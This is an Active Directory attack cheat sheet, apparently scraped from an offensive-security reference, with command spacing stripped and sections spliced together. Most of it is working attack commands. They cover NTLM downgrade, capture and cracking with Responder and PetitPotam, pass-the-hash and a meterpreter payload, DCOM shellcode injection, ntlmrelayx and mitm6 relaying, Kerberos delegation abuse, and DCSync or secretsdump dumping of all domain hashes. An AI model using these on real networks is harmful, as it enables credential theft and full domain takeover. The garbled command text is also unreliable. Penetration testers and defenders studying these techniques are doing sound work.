Level 5 - Domain controllers refuse LM and NTLM responses (accept only NTLM 2). Clients use NTLM 2 authentication, use NTLM 2 session security if the server supports it; domain controllers refuse NTLM and LM authentication (they accept only NTLM 2).A client computer can only use one protocol in talking to all servers. You cannot configure it, for example, to use NTLM v2 to connect to Windows 2000-based servers and then to use NTLM to connect to other servers. This is by design.
+
+
Capturing and cracking Net-NTLMv1/NTLMv1 hashes/tokens
+
+
Net-NTLMv1 (NTLMv1) authentication tokens are used for network authentication. They are derived from a challenge/response DES-based algorithm with the user's NT-hash as symetric keys.
+
+
Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to NetNTLMv1 Challenge/Response authentication. This uses the outdated encryption method DES to protect the NT/LM Hashes.
+
Requirements:
+
+
LmCompatibilityLevel = 0x1: Send LM and NTLM response
+
+
Exploitation:
+
+
Capturing using lgandx/Responder: Edit the /etc/responder/Responder.conf file to include the magical 1122334455667788 challenge
+
Fire Responder: responder -I eth0 --lm, if --disable-ess is set, extended session security will be disabled for NTLMv1 authentication
+
Force a callback:
+
PetitPotam.exeResponder-IPDC-IP# Patched around August 2021
+PetitPotam.py-uUsername-pPassword-dDomain-dc-ipDC-IPResponder-IPDC-IP# Not patched for authenticated users
+
+
If you got some NetNTLMv1 tokens, you can try to shuck them online via Shuck.Sh or locally/on-premise via ShuckNT to get NT-hashes corresponding from HIBP database. If the NT-hash has previously leaked, the NetNTLMv1 is converted to NT-hash (pass-the-hash ready) instantly. The shucking process works for any NetNTLMv1 with or without ESS/SSP (challenge != 1122334455667788) but mainly for user account (plaintext previsouly leaked).
+
# Submit NetNTLMv1 online to https://shuck.sh/get-shucking.php
+# Or shuck them on-premise via ShuckNT script:
+$phpshucknt.php-ftokens-samples.txt-wpwned-passwords-ntlm-reversed-ordered-by-hash-v8.bin
+[...]
+10hashes-challengesanalyzedin3seconds,with8NT-Hashinstantlybrokenforpass-the-hashand1thatcanbebrokenviacrack.shforfree.
+[INPUT]ycam::ad:DEADC0DEDEADC0DE00000000000000000000000000000000:70C249F75FB6D2C0AC2C2D3808386CCAB1514A2095C582ED:1122334455667788
+[NTHASH-SHUCKED]93B3C62269D55DB9CA660BBB91E2BD0B
+
+
If you got some NetNTLMv1 tokens, you can also try to crack them via Crack.Sh (cloud service when available, more time and potentially chargeable). For this you need to format them to submit them on Crack.Sh. The Converter of Shuck.Sh can be used to convert format easily.
+
# When there is no-ESS/SSP and the challenge is set to 1122334455667788, it's free (0$):
+username::hostname:response:response:challenge->NTHASH:response
+NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
+
+# When there is ESS/SSP or challenge != 1122334455667788, it's chargeable from $20-$200:
+username::hostname:lmresponse+0padding:ntresponse:challenge->$NETNTLM$challenge$ntresponse
+$NETNTLM$DEADC0DEDEADC0DE$507E2A2131F4AF4A299D8845DE296F122CA076D49A80476E
+
+
Finaly, if no Shuck.Sh nor Crack.Sh can be used, you can try to break NetNTLMv1 with Hashcat / John The Ripper
+
john--format=netntlmhash.txt
+hashcat-m5500-a3hash.txt# for NetNTLMv1(-ESS/SSP) to plaintext (for user account)
+hashcat-m27000-a0hash.txtnthash-wordlist.txt# for NetNTLMv1(-ESS/SSP) to NT-hash (for user and computer account, depending on nthash-wordlist quality)
+hashcat-m14000-a3inputs.txt--hex-charset-1/usr/share/hashcat/charsets/DES_full.hcchr?1?1?1?1?1?1?1?1# for NetNTLMv1(-ESS/SSP) to DES-keys (KPA-attack) of user/computer account with 100% success rate, then regenerate NT-hash with these DES-keys on https://shuck.sh/converter.php.
+
+
Now you can DCSync using the Pass-The-Hash with the DC machine account
+
+
NetNTLMv1 with ESS / SSP (Extended Session Security / Security Support Provider) changes the final challenge by adding a new alea (!= 1122334455667788, so chargeable on Crack.Sh).
+
NetNTLMv1 format is login::domain:lmresp:ntresp:clientChall. If the lmresp contains a 0's-padding this means that the token is protected by ESS/SSP.
+
NetNTLMv1 final challenge is the Responder's challenge itself (1122334455667788) when there is no ESS/SSP. If ESS/SSP is enabled, the final challenge is the first 8 bytes of the MD5 hash from the concatenation of the client challenge and server challenge. The details of the algorithmic generation of a NetNTLMv1 are illustrated on the Shuck.Sh Generator and detailed in MISCMag#128.
+
If you get some tokens from other tools (hostapd-wpe or chapcrack) in other formats, like tokens starting with the prefix $MSCHAPv2$, $NETNTLM$ or $99$, they correspond to a classic NetNTLMv1 and can be converted from one format to another here.
+
Mitigations:
+
+
Set the Lan Manager authentication level to Send NTLMv2 responses only. Refuse LM & NTLM
+
+
Capturing and cracking Net-NTLMv2/NTLMv2 hashes
+
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.
# Request a TGT as the target user and pass it into the current session
+# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
+.\Rubeus.exeasktgt/user:Administrator/rc4:[NTLMHASH]/ptt
+
+# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
+.\Rubeus.exeasktgt/user:Administrator/rc4:[NTLMHASH]/createnetonly:C:\Windows\System32\cmd.exe
+
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.
+
+
Metasploit
+
useexploit/windows/smb/psexec
+set RHOST10.2.0.3
+set SMBUserjarrieta
+set SMBPassnastyCutt3r
+# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
+# NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
+set PAYLOADwindows/meterpreter/bind_tcp
+run
+shell
+
Pass The Key allows attackers to gain access to systems by using a valid session key instead of the user's password or NTLM hash. This technique is related to other credential-based attacks like Pass The Hash (PTH) and Pass The Ticket (PTT) but specifically uses session keys to authenticate.
+
Pre-authentication requires the requesting user to provide a secret key, which is derived from their password and may use encryption algorithms such as DES, RC4, AES128, or AES256.
+
+
RC4: ARCFOUR-HMAC-MD5 (23), in this format, this is the NTLM hash, go to Pass The Hash to use it directly and Over Pass The Hash page to request a TGT from it.
+
DES: DES3-CBC-SHA1 (16), should not be used anymore and have been deprecated since 2018 (RFC 8429).
+
AES128: AES128-CTS-HMAC-SHA1-96 (17), both AES encryption algorithms can be used with Impacket and Rubeus tools.
+
AES256: AES256-CTS-HMAC-SHA1-96 (18)
+
+
In the past, there were more encryptions methods, that have now been deprecated.
+
+
+
+
enctype
+
weak?
+
krb5
+
Windows
+
+
+
+
+
des-cbc-crc
+
weak
+
<1.18
+
>=2000
+
+
+
des-cbc-md4
+
weak
+
<1.18
+
?
+
+
+
des-cbc-md5
+
weak
+
<1.18
+
>=2000
+
+
+
des3-cbc-sha1
+
+
>=1.1
+
none
+
+
+
arcfour-hmac
+
+
>=1.3
+
>=2000
+
+
+
arcfour-hmac-exp
+
weak
+
>=1.3
+
>=2000
+
+
+
aes128-cts-hmac-sha1-96
+
+
>=1.3
+
>=Vista
+
+
+
aes256-cts-hmac-sha1-96
+
+
>=1.3
+
>=Vista
+
+
+
aes128-cts-hmac-sha256-128
+
+
>=1.15
+
none
+
+
+
aes256-cts-hmac-sha384-192
+
+
>=1.15
+
none
+
+
+
camellia128-cts-cmac
+
+
>=1.9
+
none
+
+
+
camellia256-cts-cmac
+
+
>=1.9
+
none
+
+
+
+
Microsoft Windows releases Windows 7 and later disable single-DES enctypes by default.
+
Either use the AES key to generate a ticket with ticketer, or request a new TGT using getTGT.py script from Impacket.
DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.
+
+
+
Impacket DCOMExec.py
+
dcomexec.py[-h][-shareSHARE][-nooutput][-ts][-debug][-codecCODEC][-object[{ShellWindows,ShellBrowserWindow,MMC20}]][-hashesLMHASH:NTHASH][-no-pass][-k][-aesKeyhexkey][-dc-ipipaddress][-Aauthfile][-keytabKEYTAB]target[command ...]
+dcomexec.py-shareC$-objectMMC20'<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
+dcomexec.py-shareC$-objectMMC20'<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>''ipconfig'
+
+python3dcomexec.py-objectMMC20-silentcommand-debug$DOMAIN/$USER:$PASSWORD\$@$HOST'notepad.exe'
+# -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
+# -silentcommand executes the command without attempting to retrieve the output.
+
This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named "ExecuteShellCommand" under Document.ActiveView.
Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
+
Addons
+
ExecuteLine
+
Word.Application
+
RunAutoMacro
+
+
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM
+Invoke-Excel4DCOM64.ps1https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
+Invoke-ExShellcode.ps1https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a
+
+# Using Excel DDE
+PS C:\>$excel=[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","$ComputerName"))
+PS C:\>$excel.DisplayAlerts=$false
+PS C:\>$excel.DDEInitiate("cmd","/c calc.exe")
+
+# Using Excel RegisterXLL
+# Can't be used reliably with a remote target
+Require:regaddHKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\TrustedLocations/vAllowsNetworkLocations/tREG_DWORD/d1
+PS>$excel=[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","$ComputerName"))
+PS>$excel.RegisterXLL("EvilXLL.dll")
+
+# Using Visio
+$visio=[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp","$ComputerName"))
+$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")
+
NTLMv1 and NTLMv2 can be relayed to connect to another machine.
+
+
+
+
Hash
+
Hashcat
+
Attack method
+
+
+
+
+
LM
+
3000
+
crack/pass the hash
+
+
+
NTLM/NTHash
+
1000
+
crack/pass the hash
+
+
+
NTLMv1/Net-NTLMv1
+
5500
+
crack/relay attack
+
+
+
NTLMv2/Net-NTLMv2
+
5600
+
crack/relay attack
+
+
+
+
Crack the hash with hashcat.
+
hashcat-m5600-a0hash.txtcrackstation.txt
+
+
MS08-068 NTLM reflection
+
NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.
+
+
This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.
LDAP signing not required and LDAP channel binding disabled
+
During security assessment, sometimes we don't have any account to perform the audit. Therefore we can inject ourselves into the Active Directory by performing NTLM relaying attack. For this technique three requirements are needed:
+
+
LDAP signing not required (by default set to Not required)
+
LDAP channel binding is disabled. (by default disabled)
+
ms-DS-MachineAccountQuota needs to be at least at 1 for the account relayed (10 by default)
+
+
Then we can use a tool to poison LLMNR, MDNS and NETBIOS requests on the network such as Responder and use ntlmrelayx to add our computer.
+
# On first terminal
+sudo./Responder.py-Ieth0-wfrd-P-v
+
+# On second terminal
+sudopython./ntlmrelayx.py-tldaps://IP_DC--add-computer
+
+It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection.
+
SMB Signing Disabled and IPv4
+
If a machine has SMB signing:disabled, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay and get a shell access on the machine. Also called LLMNR/NBNS Poisoning
+
+
Open the Responder.conf file and set the value of SMB and HTTP to Off.
+
[Responder Core]
+;Serverstostart
+...
+SMB=Off# Turn this off
+HTTP=Off# Turn this off
+
+
Run python RunFinger.py -i IP_Range to detect machine with SMB signing:disabled.
+
Run python Responder.py -I <interface_card>
+
Use a relay tool such as ntlmrelayx or MultiRelay
+
impacket-ntlmrelayx -tf targets.txt to dump the SAM database of the targets in the list.
+
python MultiRelay.py -t <target_machine_IP> -u ALL
+
+
+
ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
+
$impacket-ntlmrelayx-tf/tmp/targets.txt-socks-smb2support
+[*]Serversstarted,waitingforconnections
+Type helpforlistofcommands
+ntlmrelayx>socks
+ProtocolTargetUsernamePort
+--------------------------------------------------
+MSSQL192.168.48.230VULNERABLE/ADMINISTRATOR1433
+SMB192.168.48.230CONTOSO/NORMALUSER1445
+MSSQL192.168.48.230CONTOSO/NORMALUSER11433
+
+# You might need to select a target with "-t"
+# smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// and smtp://
+impacket-ntlmrelayx-tmssql://10.10.10.10-socks-smb2support
+impacket-ntlmrelayx-tsmb://10.10.10.10-socks-smb2support
+
+# the socks proxy can then be used with your Impacket tools or netexec
+$proxychainsimpacket-smbclient//192.168.48.230/Users-Ucontoso/normaluser1
+$proxychainsimpacket-mssqlclientDOMAIN/USER@10.10.10.10-windows-auth
+$proxychainsnetexecmssql10.10.10.10-uuser-p''-dDOMAIN-q"SELECT 1"
+
Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
+
netexecsmb$hosts--gen-relay-listrelay.txt
+
+# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
+# -d is the domain name that we filter our request on - the attacked domain
+# -i is the interface we have mitm6 listen on for events
+mitm6-ieth0-d$domain
+
+# spoofing WPAD and relaying NTLM credentials
+impacket-ntlmrelayx-6-wh$attacker_ip-ofloot-tfrelay.txt
+impacket-ntlmrelayx-6-wh$attacker_ip-l/tmp-socks-debug
+
+# -ip is the interface you want the relay to run on
+# -wh is for WPAD host, specifying your wpad file to serve
+# -t is the target where you want to relay to.
+impacket-ntlmrelayx-ip10.10.10.1-wh$attacker_ip-tldaps://10.10.10.2
+
+
Drop the MIC - CVE-2019-1040
+
+
The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP
Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
+
Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
+
# create a new machine account
+TERM1>ntlmrelayx.py-tldaps://rlt-dc.relaytest.local--remove-mic--delegate-access-smb2support
+TERM2>pythonprinterbug.pyrelaytest.local/username@second-dc-server10.0.2.6
+TERM1>getST.py-spnhost/second-dc-server.local'relaytest.local/MACHINE$:PASSWORD'-impersonateDOMAIN_ADMIN_USER_NAME
+
+# connect using the ticket
+exportKRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
+secretsdump.py-k-no-passsecond-dc-server.local-just-dc
+
+
+
+
Drop the MIC 2 - CVE-2019-1166
+
+
A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection. An attacker who successfully exploited this vulnerability could gain the ability to downgrade NTLM security features. To exploit this vulnerability, the attacker would need to tamper with the NTLM exchange. The attacker could then modify flags of the NTLM packet without invalidating the signature.
+
+
+
Unset the signing flags in the NTLM_NEGOTIATE message (NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMSSP_NEGOTIATE_SIGN)
+
Inject a rogue msvAvFlag field in the NTLM_CHALLENGE message with a value of zeros
+
Remove the MIC from the NTLM_AUTHENTICATE message
+
Unset the following flags in the NTLM_AUTHENTICATE message: NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMSSP_NEGOTIATE_SIGN, NEGOTIATE_KEY_EXCHANGE, NEGOTIATE_VERSION.
It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine
+
+
Requirements:
+
+
a shell in session 0 (e.g. WinRm shell or SSH shell)
+
a privileged user is logged on in the session 1 (e.g. a Domain Admin user)
+
+
# https://github.com/antonioCoco/RemotePotato0/
+Terminal>sudosocatTCP-LISTEN:135,fork,reuseaddrTCP:192.168.83.131:9998&# Can be omitted for Windows Server <= 2016
+Terminal>sudontlmrelayx.py-tldap://192.168.83.135--no-wcf-server--escalate-userwinrm_user_1
+Session0>RemotePotato0.exe-r192.168.83.130-p9998-s2
+Terminal>psexec.py'LAB/winrm_user_1:Password123!@192.168.83.135'
+
+
DNS Poisonning - Relay delegation with mitm6
+
Requirements:
+
+
IPv6 enabled (Windows prefers IPV6 over IPv4)
+
LDAP over TLS (LDAPS)
+
+
+
ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
+
+
gitclonehttps://github.com/fox-it/mitm6.git
+cd /opt/tools/mitm6
+pipinstall.
+
+mitm6-hwws02-dlab.local--ignore-nofqnd
+# -d: the domain name that we filter our request on (the attacked domain)
+# -i: the interface we have mitm6 listen on for events
+# -hw: host whitelist
+
+ntlmrelayx.py-ip10.10.10.10-tldaps://dc01.lab.local-whattacker-wpad
+ntlmrelayx.py-ip10.10.10.10-tldaps://dc01.lab.local-whattacker-wpad--add-computer
+# -ip: the interface you want the relay to run on
+# -wh: WPAD host, specifying your wpad file to serve
+# -t: the target where you want to relay to
+
+# now granting delegation rights and then do a RBCD
+ntlmrelayx.py-tldaps://dc01.lab.local--delegate-access--no-smb-server-whattacker-wpad
+getST.py-spncifs/target.lab.locallab.local/GENERATED\$-impersonateAdministrator
+exportKRB5CCNAME=administrator.ccache
+secretsdump.py-k-no-passtarget.lab.local
+
+
Relaying with WebDav Trick
+
+
Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB
+
+
Requirement:
+
+
WebClient service
+
+
Enable WebClient:
+
WebClient service can be enable on the machine using several techniques:
+
+
Mapping a WebDav server using net command : net use ...
+
Typing anything into the explorer address bar that isn't a local file or directory
+
Browsing to a directory or share that has a file with a .searchConnector-ms extension located inside.
+
Trigger the authentication to relay to our nltmrelayx: PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.10.10.10, the listener host must be specified with the FQDN or full netbios name like logger.domain.local@80/test.txt. Specifying the IP results in anonymous auth instead of System.
+
Use the created account to ask for a service ticket:
+
.\Rubeus.exehash/domain:purple.lab/user:WVLFLLKZ$/password:'iUAL)l<i$;UzD7W'
+.\Rubeus.exes4u/user:WVLFLLKZ$/aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F/impersonateuser:Administrator/msdsspn:host/pc1.purple.lab/altservice:cifs/nowrap/ptt
+ls \\PC1.purple.lab\c$
+# IP of PC1: 10.0.0.4
+
+
+
+
An alternative for the previous exploitation method is to register a DNS entry for the attack machine by yourself then trigger the coercion.
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
+
+
Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
+
+
Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
SnaffCon/Snaffler - a tool for pentesters to help find delicious candy
+
snaffler.exe-s-snaffler.log
+
+# Snaffle all the computers in the domain
+./Snaffler.exe-ddomain.local-c<DC>-s
+
+# Snaffle specific computers
+./Snaffler.exe-ncomputer1,computer2-s
+
+# Snaffle a specific directory
+./Snaffler.exe-iC:\-s
+
+
+
+
WRITE Permission
+
Write SCF and URL files on a writeable share to farm for user's hashes and eventually replay them.
# Farmer to receive auth
+farmer.exe<port>[seconds] [output]
+farmer.exe88880c:\windows\temp\test.tmp# undefinitely
+farmer.exe888860# one minute
+
+# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
+crop.exe<outputfolder><outputfilename><WebDAVserver><LNKvalue>[options]
+Crop.exe\\\\fileserver\\commonmdsec.url\\\\workstation@8888\\mdsec.ico
+Crop.exe\\\\fileserver\\commonmdsec.library-ms\\\\workstation@8888\\mdsec
+
+
SCF Files
+
Drop the following @something.scf file inside a share and start listening with Responder : responder -wrf --lm -v -I eth0
An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as sensitive and cannot be delegated.
+
Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.
Attack #1 - Bypass the Trust this user for delegation to specified services only – Use Kerberos only protection and impersonate a user who is protected from delegation.
+
# forwardable flag is only protected by the ticket encryption which uses the service account's password
+$getST.py-spncifs/Service2.test.local-impersonateAdministrator-hashes<LM:NTLMhash>-aesKey<AEShash>test.local/Service1-force-forwardable-dc-ip<Domaincontroller># -> Forwardable
+
+$getST.py-spncifs/Service2.test.local-impersonateUser2-hashesaad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f-aesKey4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4test.local/Service1-force-forwardable
+
+# Load the ticket
+.\mimikatz\mimikatz.exe"kerberos::ptc User2.ccache"exit
+
+# Access "c$"
+ls \\service2.test.local\c$
+
+
Attack #2 - Write Permissions to one or more objects in the AD
+* Windows/Linux:
+
bloodyAD-uuser-p'totoTOTOtoto1234*'-dtest.local--host10.100.10.5addcomputerAttackerService'AttackerServicePassword'
+bloodyAD--host10.1.0.4-uuser-p'totoTOTOtoto1234*'-dtest.localaddrbcd'Service2$''AttackerService$'
+
+# Execute the attack
+getST.py-spncifs/Service2.test.local-impersonateUser2-dc-ip10.100.10.5-force-forwardable'test.local/AttackerService$:AttackerServicePassword'
+
+* Windows only:
+
# Create a new machine account
+Import-Module.\Powermad\powermad.ps1
+New-MachineAccount-MachineAccountAttackerService-Password$(ConvertTo-SecureString'AttackerServicePassword'-AsPlainText-Force)
+.\mimikatz\mimikatz.exe"kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local"exit
+
+# Set PrincipalsAllowedToDelegateToAccount
+Install-WindowsFeatureRSAT-AD-PowerShell
+Import-ModuleActiveDirectory
+Get-ADComputerAttackerService
+Set-ADComputerService2-PrincipalsAllowedToDelegateToAccountAttackerService$
+Get-ADComputerService2-PropertiesPrincipalsAllowedToDelegateToAccount
+
+# Execute the attack
+python.\impacket\examples\getST.py-spncifs/Service2.test.local-impersonateUser2-hashes830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5-aesKey2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffctest.local/AttackerService-force-forwardable
+
+# Load the ticket
+.\mimikatz\mimikatz.exe"kerberos::ptc User2.ccache"exit|Out-Null
+
Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.
+
+
Identify a Constrained Delegation
+
+
BloodHound: MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
+
PowerView: Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft
# with a password
+Rubeus.exes4u/nowrap/msdsspn:"time/target.local"/altservice:cifs/impersonateuser:"administrator"/domain:"domain"/user:"user"/password:"password"
+
+# with a NT hash
+Rubeus.exes4u/user:user_for_delegation/rc4:user_pwd_hash/impersonateuser:user_to_impersonate/domain:domain.com/dc:dc01.domain.com/msdsspn:time/srv01.domain.com/altservice:cifs/ptt
+Rubeus.exes4u/user:MACHINE$/rc4:MACHINE_PWD_HASH/impersonateuser:Administrator/msdsspn:"cifs/dc.domain.com"/altservice:cifs,http,host,rpcss,wsman,ldap/ptt
+dir \\dc.domain.com\c$
+
+
+
+
Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator"
+
# Get aes256 keys of the machine account
+privilege::debug
+token::elevate
+sekurlsa::ekeys
+
+# Create a ticket
+Rubeus.exes4u/impersonateuser:Administrator/msdsspn:cifs/srv.domain.local/user:win10x64$/aes256:4b55f...fd82/ptt
+
+
+
+
Impersonate a domain user on a resource
+
Require:
+* SYSTEM level privileges on a machine configured with constrained delegation
+
PS>[Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')|out-null
+PS>$idToImpersonate=New-ObjectSystem.Security.Principal.WindowsIdentity@('administrator')
+PS>$idToImpersonate.Impersonate()
+PS>[System.Security.Principal.WindowsIdentity]::GetCurrent()|select name
+PS>ls \\dc01.offense.local\c$
+
Kerberos Delegation - Resource Based Constrained Delegation
+
Resource-based Constrained Delegation was introduced in Windows Server 2012.
+
+
The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
$ComputerSid=Get-DomainComputerswktest-Propertiesobjectsid|Select -Expandobjectsid
+$SD=New-ObjectSecurity.AccessControl.RawSecurityDescriptor-ArgumentList"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
+$SDBytes=New-Objectbyte[]($SD.BinaryLength)
+$SD.GetBinaryForm($SDBytes,0)
+Get-DomainComputerdc01-ww2.factory.lan|Set-DomainObject-Set@{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
+$RawBytes=Get-DomainComputerdc01-ww2.factory.lan-Properties'msds-allowedtoactonbehalfofotheridentity'|select -expandmsds-allowedtoactonbehalfofotheridentity
+$Descriptor=New-ObjectSecurity.AccessControl.RawSecurityDescriptor-ArgumentList$RawBytes,0
+$Descriptor.DiscretionaryAcl
+
+# alternative (Windows/Linux)
+# use 'remove' instead of 'add' after exploit
+bloodyAD--host10.1.0.4-uuser-p'totoTOTOtoto1234*'-dcrash.labaddrbcd'dc01-ww2$''swktest$'
+
+
# alternative
+$SID_FROM_PREVIOUS_COMMAND=Get-DomainComputerMACHINE_ACCOUNT_NAME-Propertiesobjectsid|Select -Expandobjectsid
+$SD=New-ObjectSecurity.AccessControl.RawSecurityDescriptor-ArgumentList"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)";$SDBytes=New-Objectbyte[]($SD.BinaryLength);$SD.GetBinaryForm($SDBytes,0);Get-DomainComputerDC01|Set-DomainObject-Set@{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
+
+# alternative
+StandIn_Net35.exe--computerdc01--sidSID_FROM_PREVIOUS_COMMAND
+
The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
+
When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.
+
+
Unconstrained delegation used to be the only option available in Windows 2000
+
+
Warning
+Remember to coerce to a HOSTNAME if you want a Kerberos Ticket
+
+
SpoolService Abuse with Unconstrained Delegation
+
The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.
+
Requirements:
+- Object with Property Trust this computer for delegation to any service (Kerberos only)
+- Must have ADS_UF_TRUSTED_FOR_DELEGATION
+- Must not have ADS_UF_NOT_DELEGATED flag
+- User must not be in the Protected Users group
+- User must not have the flag Account is sensitive and cannot be delegated
+
Find delegation
+
: Domain controllers usually have unconstrained delegation enabled.
+Check the TRUSTED_FOR_DELEGATION property.
BloodHound: MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
+
+
Powershell Active Directory module: Get-ADComputer -LDAPFilter "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl
+
+
SpoolService status
+
Check if the spool service is running on the remote host
+
ls \\dc01\pipe\spoolss
+pythonrpcdump.pyDOMAIN/user:password@10.10.10.10
+
+
Monitor with Rubeus
+
Monitor incoming connections from Rubeus.
+
Rubeus.exemonitor/interval:1
+
+
Force a connect back from the DC
+
Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.
+
+
SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.
+
+
# From https://github.com/leechristensen/SpoolSample
+.\SpoolSample.exeVICTIM-DC-NAMEUNCONSTRAINED-SERVER-DC-NAME
+.\SpoolSample.exeDC01.HACKER.LABHELPDESK.HACKER.LAB
+# DC01.HACKER.LAB is the domain controller we want to compromise
+# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
+
+# From https://github.com/dirkjanm/krbrelayx
+printerbug.py'domain/username:password'@<VICTIM-DC-NAME><UNCONSTRAINED-SERVER-DC-NAME>
+
+# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
+pythondementor.py-ddomain-uusername-ppassword<UNCONSTRAINED-SERVER-DC-NAME><VICTIM-DC-NAME>
+
+
If the attack worked you should get a TGT of the domain controller.
+
Load the ticket
+
Extract the base64 TGT from Rubeus output and load it to our current session.
The "Network Service" account and the AppPool identities can act as the computer account in terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with local admin rights, like DA) to yourself.
+
# The Rubeus execution will fail when trying the S4UProxy step, but the ticket generated by S4USelf will be printed.
+Rubeus.exes4u/user:${computerAccount}/msdsspn:cifs/${computerDNS}/impersonateuser:${localAdmin}/ticket:${TGT}/nowrap
+# The service name is not included in the TGS ciphered data and can be modified at will.
+Rubeus.exetgssub/ticket:${ticket}/altservice:cifs/${ServerDNSName}/ptt
+
